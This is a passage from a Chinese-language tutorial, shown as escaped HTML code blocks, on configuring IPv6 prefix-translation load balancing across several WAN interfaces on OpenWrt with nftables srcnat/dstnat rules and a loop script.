&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;20&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;[[ &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== *&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;]] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;nft add element ip6 balance_netmap pds { $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd1 &lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;21&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;[[ &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== *&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;]] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;nft add element ip6 balance_netmap pds { $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd2 &lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;22&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;[[ &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd3 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== *&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;]] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;nft add element ip6 balance_netmap pds { $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd3 &lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;创建了一个包含内网网段和所有上游分发下来的前缀的集合，名为&lt;code&gt;pds&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;pre data-linenos data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;24&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;nft add chain ip6 balance_netmap srcnat { type nat hook postrouting priority srcnat &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\; &lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;25&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;nft flush chain ip6 balance_netmap srcnat
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;创建一条链名为&lt;code&gt;srcnat&lt;&#x2F;code&gt;，hook位置为&lt;code&gt;postrouting&lt;&#x2F;code&gt;，即路由后出网卡前，在这个阶段需要修改数据包的来源地址。分为以下三种情况：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;来源数据包是内网网段（内网机器出站流量）：需要将内网网段前缀改成上游下发给该出口网卡的前缀，实现1对1 NAT。&lt;&#x2F;li&gt;
&lt;li&gt;来源数据包是上游下发的长度为128的ip（本机出站流量）：需要将来源ip改成出口网卡的ip。&lt;&#x2F;li&gt;
&lt;li&gt;来源数据包是其他ip（内网还有其他网段）：可以选择不进行地址转化，也可以选择强制转化为出口网卡的ip。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-linenos data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;27&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;[[ &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd0 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== *&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;]] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;nft add rule ip6 balance_netmap srcnat oifname eth1mac0 ip6 saddr @pds snat ip6 saddr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&amp;amp;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; ::ffff:ffff:ffff:ffff &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;|&amp;quot; &lt;&#x2F;span&gt;&lt;span&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;%%&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64}
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;28&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;[[ &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== *&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;]] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;nft add rule ip6 balance_netmap srcnat oifname eth1mac1 ip6 saddr @pds snat ip6 saddr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&amp;amp;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; ::ffff:ffff:ffff:ffff &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;|&amp;quot; &lt;&#x2F;span&gt;&lt;span&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;%%&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64}
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;29&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;[[ &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== *&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;]] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;nft add rule ip6 balance_netmap srcnat oifname eth1mac2 ip6 saddr @pds snat ip6 saddr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&amp;amp;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; ::ffff:ffff:ffff:ffff &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;|&amp;quot; &lt;&#x2F;span&gt;&lt;span&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;%%&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64}
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;30&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;[[ &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd3 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== *&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;]] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;nft add rule ip6 balance_netmap srcnat oifname eth1mac3 ip6 saddr @pds snat ip6 saddr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&amp;amp;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; ::ffff:ffff:ffff:ffff &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;|&amp;quot; &lt;&#x2F;span&gt;&lt;span&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd3&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;%%&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64}
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;匹配出口网卡是需要负载均衡的网卡，并且来源ip是内网网段或者是其他网卡获得的网段（比如内网机器手动添加了一个公网ip），则将来源地址的前缀改成上游下发的前缀。这里使用位运算进行修改，&lt;code&gt;::ffff:ffff:ffff:ffff&lt;&#x2F;code&gt;是前缀的反掩码。不用&lt;code&gt;map&lt;&#x2F;code&gt;进行转化的原因是，&lt;code&gt;map&lt;&#x2F;code&gt;转化不一定是一一对应的，有时候后缀也会修改分配到一个未使用的ip，不便于入站。&lt;&#x2F;p&gt;
&lt;pre data-linenos data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;32&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;nft add rule ip6 balance_netmap srcnat oifname {eth1mac0, eth1mac1, eth1mac2, eth1mac3} masquerade
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;33&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;font-style:italic;color:#7c7865;&quot;&gt;# nft add rule ip6 balance_netmap srcnat oifname {eth1mac0, eth1mac1, eth1mac2, eth1mac3} saddr {$ip0, $ip1, $ip2, $ip3} masquerade
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;对于其它流量，全部转化为出口网卡的ip，即&lt;code&gt;masquerade&lt;&#x2F;code&gt;。注释中是仅转化本机出站流量，内网其他网段地址不进行转化，可以根据自己情况选择用哪一种。&lt;&#x2F;p&gt;
&lt;pre data-linenos data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;35&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;nft add chain ip6 balance_netmap dctnat { type nat hook prerouting priority dstnat &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\; &lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;36&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;nft flush chain ip6 balance_netmap dctnat
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;创建一条链名为&lt;code&gt;dstnat&lt;&#x2F;code&gt;，hook位置为&lt;code&gt;prerouting&lt;&#x2F;code&gt;，在这个阶段需要修改入站数据包的目的地址。以支持外网主动访问内网服务。如果不需要支持入站可以删去。&lt;&#x2F;p&gt;
&lt;pre data-linenos data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;37&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;nft add rule ip6 balance_netmap dctnat ip6 daddr @pds dnat ip6 daddr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&amp;amp;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; ::ffff:ffff:ffff:ffff &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;|&amp;quot; &lt;&#x2F;span&gt;&lt;span&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;lan_prefix&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;%%&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64}
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;匹配目标是上游下发的前缀地址的连接，将其目标改为内网前缀。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;openwrtqi-ta-she-zhi&quot;&gt;Openwrt其他设置&lt;&#x2F;h1&gt;
&lt;p&gt;在&lt;code&gt;Network -&amp;gt; Interfaces -&amp;gt; Global network options -&amp;gt; IPv6 ULA-Prefix&lt;&#x2F;code&gt;中指定内网地址。&lt;&#x2F;p&gt;
&lt;p&gt;在&lt;code&gt;lan&lt;&#x2F;code&gt;接口的&lt;code&gt;Advanced Settings -&amp;gt; IPv6 prefix filter&lt;&#x2F;code&gt;选择&lt;code&gt;local&lt;&#x2F;code&gt;，即仅下发上述内网地址。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;fu-lu&quot;&gt;附录&lt;&#x2F;h1&gt;
&lt;p&gt;网卡太多可以使用下面这个使用循环的脚本，修改&lt;code&gt;iface_count&lt;&#x2F;code&gt;即可。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;font-style:italic;color:#7c7865;&quot;&gt;#!&#x2F;bin&#x2F;sh
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;iface_count&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;10
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;lan_prefix&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;fd00::&#x2F;64
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;$(seq 0 $(( $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;iface_count&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1 &lt;&#x2F;span&gt;&lt;span&gt;)) )&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;; do
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;eval &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;pd$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;(ifstatus wanv6_$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt; | jsonfilter -e &amp;#39;@[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;route&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;][0].source&amp;#39;)&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;eval &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;ip$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;(ifstatus wanv6_$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt; | jsonfilter -e &amp;#39;@[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;ipv6-address&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;][0][&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;address&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;]&amp;#39;)&amp;quot;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;done
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;nft add table ip6 balance_netmap
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;nft add set ip6 balance_netmap pds { type ipv6_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\;&lt;&#x2F;span&gt;&lt;span&gt; flags interval&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\; \; &lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;nft flush set ip6 balance_netmap pds
&lt;&#x2F;span&gt;&lt;span&gt;nft add element ip6 balance_netmap pds { $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;lan_prefix &lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;$(seq 0 $(( $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;iface_count&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1 &lt;&#x2F;span&gt;&lt;span&gt;)) )&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;; do
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;$(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;eval&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt; echo -n &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;pd$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;[[ &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== *&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;]]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;; then
&lt;&#x2F;span&gt;&lt;span&gt;    nft add element ip6 balance_netmap pds { $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd &lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;fi
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;done
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;nft add chain ip6 balance_netmap srcnat { type nat hook postrouting priority srcnat &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\; &lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;nft flush chain ip6 balance_netmap srcnat
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;$(seq 0 $(( $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;iface_count&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1 &lt;&#x2F;span&gt;&lt;span&gt;)) )&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;; do
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;$(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;eval&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt; echo -n &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;pd$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;[[ &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!= *&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;]]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;; then
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;continue
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;fi
&lt;&#x2F;span&gt;&lt;span&gt;  nft add rule ip6 balance_netmap srcnat oifname eth1mac$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt; ip6 saddr @pds snat ip6 saddr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&amp;amp;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; ::ffff:ffff:ffff:ffff &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;|&amp;quot; &lt;&#x2F;span&gt;&lt;span&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;%%&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64}
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;done
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;{&amp;quot;
